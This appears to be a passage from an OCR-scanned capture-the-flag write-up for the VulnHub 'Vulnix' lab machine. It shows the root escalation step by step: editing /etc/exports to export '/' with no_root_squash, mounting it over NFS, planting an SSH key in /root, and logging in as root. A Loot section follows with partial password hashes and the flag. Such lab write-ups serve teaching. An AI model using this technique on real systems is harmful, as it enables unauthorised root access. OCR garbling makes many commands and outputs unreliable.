-rw-r--r-- 1 vulnix vulnix 3486 Apr 3 2012 .bashrc
-rw-r--r-- 1 vulnix vulnix 675 Apr 3 2012 .profile
drwxr-xr-x 2 vulnix vulnix 4096 Sep 20 2819 .ssh

$

$

$ 1s -la .ssh

total 12

drwxr-xr-x 2 vulnix wvulnix 4096 Sep 20 14:22

drwxr-x--- 3 vulnix wvulnix 4096 Sep 20 14:21 ..

-rw-r--r-- 1 vulnix vulnix 391 Sep 20 14:22 authorized keys
$

$

$

$
root@kali: ~/toolbox/data/writeups/vulnhub.vulnix #

Figure 6: writeup.exploitation.steps.2.2
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root@kali: ~/toolbox/data/writeups/vulnhub.vulnix # ssh vulnix@192.168.92.177
Welcome to Ubuntu 12.84.1 LTS (GNU/Linux 3.2.0-29-generic-pae 1686}

* Documentation: https://help.ubuntu.com/

System information as of Sat Sep 21 00:18:18 BST 2019

System load: 0.0 Processes: 90

Usage of /: 90.3% of 773MB Users logged in: 0]

Memory usage: 9% IP address for eth®: 192.168.92.177
Swap usage: 0%

== / is using 90.3% of 773MB
Graph this data and manage this system at https://landscape.canonical.com/

New release '14.94.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Fri Sep 20 22:23:88 2019 from 192.168.92.163
vulnix@vulnix:~% id
uid=2008(vulnix) gid=2008(vulnix) groups=2008{vulnix)
vulnix@vulnix:~$
vulnix@vulnix:~% uname -a
Linux vulnix 3.2.0-29-generic-pae #46-Ubuntu SMP Fri Jul 27 17:25:43 UTC 2012 1686 1686 1386 GNU/Linux
vulnix@vulnix:~%
vulnix@vulnix:~% ifconfig
ethe Link encap:Ethernet HWaddr @©@:0c:29:87:38:08
inet addr:192.168.92.177 Bcast:192.168.92.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fe87:3808/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:4856 errors:0 dropped:0 overruns:@ frame:@
TX packets:2580 errors:0 dropped:0 overruns:@ carrier:0
collisions:8 txqueuelen:1000
RX bytes:481207 (481.2 KB) TX bytes:239554 (239.5 KB)
Interrupt:18 Base address:8x2000

Figure 7: writeup.exploitation.steps.2.3

Phase #2.5: Post Exploitation

vulnix@vulnix> id

1uid=2008 (vulnix) gid=2008(vulnix) groups=2008(vulnix)

vulnix@vulnix>

vulnix@vulnix> uname

Linux vulnix 3.2.0-29-generic-pae #46-Ubuntu SMP Fri Jul 27 17:25:43 UTC 2012 1686 1686 1386

o GNU/Linuz

vulnix@vulnix>

vulnix@vulnix> ifconfig

ethO Link encap:Ethernet HWaddr 00:0c:29:87:38:08
inet addr:192.168.92.177 Bcast:192.168.92.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fe87:3808/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:98658 errors:10 dropped:22 overruns:0 frame:0
TX packets:96465 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:10590403 (10.5 MB) TX bytes:7005490 (7.0 MB)
Interrupt:18 Base address:0x2000

vulnix@vulnix>

vulnix@vulnix> users

root

12
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21

user
vulnix
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Phase #3: Privilege Escalation
1. We find that user vulnix is allowed to sudoedit /etc/exports on this target:

1 sudo -1
2 cat /etc/exports

vulnix@vulnix:~% sudo -1
Matching 'Defaults' entries for vulnix on this host:
env reset, secure path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\: /usr/bin\:/sbin\:/bin

User vulnix may run the following commands on this host:

(root) sudoedit /etc/exports, (root) NOPASSWD: sudoedit /etc/exports
vulnix@vulnix:~%$
vulnix@vulnix:~%
vulnix@vulnix:~$ cat /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
to NFS clients. See exports(5s).

Example for NFS5v2 and NFSv3:
/srv/homes hostnamel(rw,sync,no subtree check) hostname2({ro,sync,no_subtree check)

Example for NFSv4:
/srv/nfs4 gss/krb5i(rw,sync, fsid=0,crossmnt,no subtree check)

#
#
#
#
#
#
#
# /srv/nfs4/homes gss/krb5i(rw,sync,no subtree check)

#
Jhome/vulnix *(rw,root_squash)
vulnix@vulnix:~$%

Figure 8: writeup.privesc.steps.1.1

2. This means we can create a new share and mount it with no_root_squash option:

1 sudoedit /etc/exports
2 cat /etc/exports

vulnix@vulnix:~%$ cat /etc/exports

# fetc/exports: the access control list fer filesystems which may be exported

# to NF5 clients. See exportsi(5).

#

# Example for NFSv2 and NFSv3:

# /srv/homes hostnamel(rw,sync,no_subtree check) hostname2(ro,sync,no subtree check)
#

# Example for NFSv4:

# fsrv/nfs4 gss/krb5i(rw,sync, Tsid=0,crossmnt,no_subtree check)

# /srv/nfs4/homes gss/krb5i(rw,sync,no _subtree check)

#

Jhome/vulnix *({rw,root squash)

*{rw,no root squash)

/

vulnix@vulnix:~%

Figure 9: writeup.privesc.steps.2.1

3. We have to reboot the target for the /etc/exports changes to take affect:
1 showmount -e 192.168.92.177

14



root@kali: -/toolbox/data/writeups/vulnhub.vulnix # showmount -e 192.168.92.177

Export list for 192.168.92.177:

/

*

Jhome/vulnix #
root@kali: -/toolbox/data/writeups/vulnhub.vulnix #

Figure 10: writeup.privesc.steps.3.1

4. We can now repeat the exploitation steps but this time for user root and enable remote SSH access:

mount 192.168.92.177:/ ./mnt -o vers=3

cd ./mnt
cd root/
mkdir .ssh/

cp ~/.ssh/id_rsa.pub ./.ssh/authorized_keys
ssh root@192.168.92.177

root@kali:
root@kali:
total 44K
SFW-T--r--
FWXF=XI-X
-rwW-r--r--
FWX =X =X
SFW-T--r--
root@kali:
root@kali:
root@kali:
root@kali:
total 104
FWX =X =X
FWX=XI-X
FWXF=XI-X
FWXF-XI-X
FWX =X =X
FWX=XI-X
FWXF=XI-X
FWX FWXFWX
FWX =X =X
N
FWXF=XI-X
FWXIF-XI-X
FWX =X =X
FWXT =X =X
- | _——— e — - =
FWx------
FWX =X =X
FWXT =X =X
FWXF-XI-X
FWX =X =X
FWX =X =X
MW rwXrwt
FWXF-XI-X
FWX =X =X
FWX FWX FWX
root@kali:

~Jtoolbox/data/writeubslvulnhub.vulnix # mount 192.168.92.177:/ ./mnt -0 vers=3
~/toolbox/data/writeups/vulnhub.vulnix # 11

~/toolbox/data/writeups/vulnhub.
~/toolbox/data/writeups/vulnhub.
~/toolbox/data/writeups/vulnhub.

P
b

4096
4096
4096
4096
4096
4096
4096
37
4096
16384
4096
4096
4096
4096
loz4
4096
4096
4096
4096
4096
4096
4096
4096
4096
=55

M AMMAMMMWERERMNNMNMNMENMBGNOFSBSWRKKNRNN &
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~/toolbox/data/writeups/vulnhub.

391 Sep
4.0K Sep
1.3K Sep
4.0K Sep

25K Sep

Sep
Sep
Sep
Sep
Sep
Sep
Sep
Sep
Sep
Sep
Sep
Aug
Sep
Aug
Sep
Sep
Sep
Sep
Mar
Sep
Jul
Sep
Sep
Sep
Sep

20 14:22

2

2012

19 18:23
19 17:29
20 16:20
~/toolbox/data/writeups/vulnhub

2012

authorized keys

mnt

passwd

results

writeup.yml

wvulnix #

vulnix #

vulnix # cd mnt/
vulnix/mnt # 1s -la

14:19

2012
2012
2012
BOLR23
2012
2012
2012
2012
2012
2012
2012
2012
2012
2012
2012
2012
2012
2012
2012
16:17
2012
2012
2012

bin

boot

dev

etc

home
initrd.img -= /boot/initrd.img-3.2.8-29-generic-pae
lib
lost+found
media

mnt

opt

proc

.rnd

root

run

sbin

selinux

srv

5YS

tmp

usr

var

vmlinuz -> boot/vmlinuz-3.2.0-29-generic-pae
vulnix/mnt #

Figure 11: writeup.privesc.steps.4.1
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root@kali: ~/toolbox/data/writeups/vulnhub.vulnix/mnt # cd root/

root@kali: ~/toolbox/data/writeups/vulnhub.vulnix/mnt/root #

root@kali: ~/toolbox/data/writeups/vulnhub.vulnix/mnt/root #

root@kali: ~/toolbox/data/writeups/vulnhub.vulnix/mnt/root # 1s -la

total 28
W 2012

2012 ..

2012z .bash history

4096 Sep 2
2
2

3106 Apr 19 2012 .bashrc
2
9

4096 Sep

4096 Sep 2012 .cache

140 Apr 1 2012 .profile

33 Sep 2 2012 trophy.txt
W 710 Sep 2 2012 .viminfo
root@kali: ~/toolbox/data/writeups/vulnhub.vulnix/mnt/root #
root@kali: ~/toolbox/data/writeups/vulnhub.vulnix/mnt/root #
root@kali: ~/toolbox/data/writeups/vulnhub.vulnix/mnt/root #
mkdir: created directory '.ssh'
root@kali: ~/toolbox/data/writeups/vulnhub.vulnix/mnt/root # cp ~/.ssh/id rsa.pub ./.ssh/authorized keys
root@kali: ~/toolbox/data/writeups/vulnhub.vulnix/mnt/root # 1s -la .ssh/

mkdir .ssh

total 12
Fwxr=xr-x 2 [aoldd (@] 4096 Sep 20 16:26
FwWx------ 4 [fad a8 4096 Sep 20 16:25

-rw-r--r-- 1 [l [l 391 Sep 20 16:26 authorized keys
root@kali: ~/toolbox/data/writeups/vulnhub.vulnix/mnt/root #

Figure 12: writeup.privesc.steps.4.2

root@kali: ~/toolbox/data/writeups/vulnhub.vulnix/mnt/root # ssh 192.168.92.177
Welcome to Ubuntu 12.84.1 LTS (GNU/Linux 3.2.0-29-generic-pae 1686)

* Documentation: https://help.ubuntu.com/

System information as of Sat Sep 21 00:26:27 BST 2019

System load: ©.85 Processes: 93
Usage of /: 90.3% of 773MB Users logged in: 0
Memory usage: 9% IP address for eth®: 192.168.92.177

Swap usage: 0%
=> / 1s using 90.3% of 773MB
Graph this data and manage this system at https://landscape.canonical.com/

New release '14.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

root@vulnix:~# id
uid=0(root) gid=0(root) groups=0(root)
root@vulnix:~#
root@vulnix:~# uname -a
Linux vulnix 3.2.8-29-generic-pae #46-Ubuntu SMP Fri Jul 27 17:25:43 UTC 2012 1686 1686 i386 GNU/Linux
root@vulnix:~#
root@vulnix:~# ifconfig
ethe Link encap:Ethernet Hwaddr 00:0c:29:87:38:08
inet addr:192.168.92.177 Bcast:192.168.92.255 Mask:255.255.255.0
inet6 addr: feB80::20c:29ff:fe87:3808/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1508 Metric:1
RX packets:242 errors:0 dropped:® overruns:@® frame:®
TX packets:181 errors:® dropped:@ overruns:® carrier:e
collisions:0 txqueuelen:1000
RX bytes:38857 (30.8 KB) TX bytes:37588 (37.5 KB)
Interrupt:18 Base address:0x2000

Figure 13: writeup.privesc.steps.4.3
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5. We can now access the flag to complete the challenge:

cat /root/trophy.txt

root@vulnix:~# 1ls -la

total 32

drwx------ 4 root root 4096 Sep 21 00:25

drwxr-xr-x 22 root root 4096 Sep 2 2012 ..

-rwW------- 1 root root @ Sep 2 2012 .bash history
-rw-r--r-- 1 root root 3186 Apr 19 2012 .bashrc
drwx------ 2 root root 4096 Sep 2 2012 .cache

-rw-r--r-- 1 root root 148 Apr 19 28012 .profile
drwxr-xr-x 2 root root 4096 Sep 21 09:26 .ssh
“F-=====--- 1 root root 33 Sep 2 2012 trophy.txt
-rwW------- 1 root root 710 Sep 2 2012 .viminfo
root@vulnix:~#

root@vulnix:—~#

root@vulnix:~#

root@vulnix:~# cat trophy.txt
cc614640424T5bd60ce5d5264899c3be

root@vulnix:—~#

Figure 14: writeup.privesc.steps.5.1
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Loot
Hashes
root: $6$GpmAGQUNE8kLewzMFAItmxezcryWqSPrXNRTHSTOQFKKKH jK2NSmrTg95xiYi . 18L.RYUL. 8 |
< pAsj8s4EGVDy4dvENQ............. ... ...
user:$6$gLVDPSY5$CGHDuEBkaQOvX2xFD9NeJCOO9thVj90FVvL8XbTRant/7WJFpADjOzboPTKTquOHafZGUd/J
&  ERIUWAoooo0oooo00000000000000000

vulnix:$6J
< $tMOyhDF2$gExhASDVWJIQHYNOO . A8XLJb.DVE7bdD6NffAno3iY5zEk JwZ4yDTGMrhdVbkMXV1d1BTOODoGFR70XbtD. . .. ..... ..

Credentials

ssh: user/letm...

Flags

cc614640424£5bd60cebdb264. ... ...

References

[++] https://www.vulnhub.com/entry /hacklab-vulnix,48/

[+] https://guif.re/linuxeop

[+] https://blog.christophetd.fr/write-up-vulnix/

[+] https://rastating.github.io/vulnix-ctf-walkthrough/

[+] https://www.abatchy.com /2016 /10/walkthrough-vulnix-vulnhub-vm
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